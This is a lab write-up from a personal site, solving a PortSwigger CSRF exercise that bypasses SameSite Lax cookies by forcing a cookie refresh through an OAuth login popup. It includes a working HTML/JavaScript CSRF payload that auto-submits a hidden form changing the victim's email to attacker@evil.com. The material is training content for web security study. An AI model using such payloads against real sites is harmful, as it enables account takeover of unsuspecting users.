siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

SameSite Lax bypass via cookie refresh | Jan 13, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: SameSite Lax bypass via cookie refresh! Without further ado, let’s dive in.

Background

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

Note:

The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp’s built-in Chromium browser) to test your exploit.

Exploitation

Home page:

Burp Suite HTTP history:

When we reach to /, it’ll set a new session cookie for us:

Set-Cookie: session=iGK1ZSaFicxmGf6YQ0vrsOyoBLUGFt1N; Expires=Sat, 14 Jan 2023 13:12:27 UTC; Secure; HttpOnly

As you can see, it doesn’t have attribute SameSite, which means Chrome automatically applies Lax restriction by default.

Although cookies with Lax SameSite restrictions aren’t normally sent in any cross-site POST requests. To avoid breaking single sign-on (SSO) mechanisms, Chrome doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

Now try to login:

As you can see, it’s redirecting to sign-in to a social media platform, which commonly is an OAuth-based authenication.

Burp Suite HTTP history:

When we finished the OAuth flow, it’ll assign a new session cookie for us. Again, no SameSite attribute.

My account page:

In here, we can update our email address.

View source page:

<div id=account-content>
    <p>Your username is: wiener</p>
    <p>Your email is: wiener@normal-user.net</p>
    <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
        <label>Email</label>
        <input required type="email" name="email" value="">
        <button class='button' type='submit'> Update email </button>
    </form>
</div>

As you can see, the form doesn’t have a CSRF token parameter, which helps to prevent CSRF attack.

Also, when we submit the form, it’ll send a POST request to /my-account/change-email, with parameter email.

Armed with above information, we can craft a CSRF payload to update victim’s email address.

But first, we need to know one thing:

we can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction.

For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => { 
    window.open('https://vulnerable-website.com/login/sso');
}

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

Now let’s construct our payload:

<html>
    <head>
        <title>CSRF-10</title>
    </head>
    <body>
        <form action="https://0a7b004a03249384c1cfa827009b0081.web-security-academy.net/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="attacker@evil.com">
        </form>
        <p>Click Me!</p>
        <script>
            window.onclick = () => {
                window.open('https://0a7b004a03249384c1cfa827009b0081.web-security-academy.net/socal-login')
                setTimeout(updateEmail, 3000);
            }

            function updateEmail() {
                document.getElementsByTagName('form')[0].submit();
            }
        </script>
    </body>
</html>

Then host it on the exploit server and test it:

When we clicked on somewhere on the exploit page, it’ll open another window to /socal-login, this will assign a new session cookie, which allows us to have 120 seconds to send a POST request to update the email address.

Now, let’s deliver the payload to victim:

Nice!

What we’ve learned:

  1. SameSite Lax bypass via cookie refresh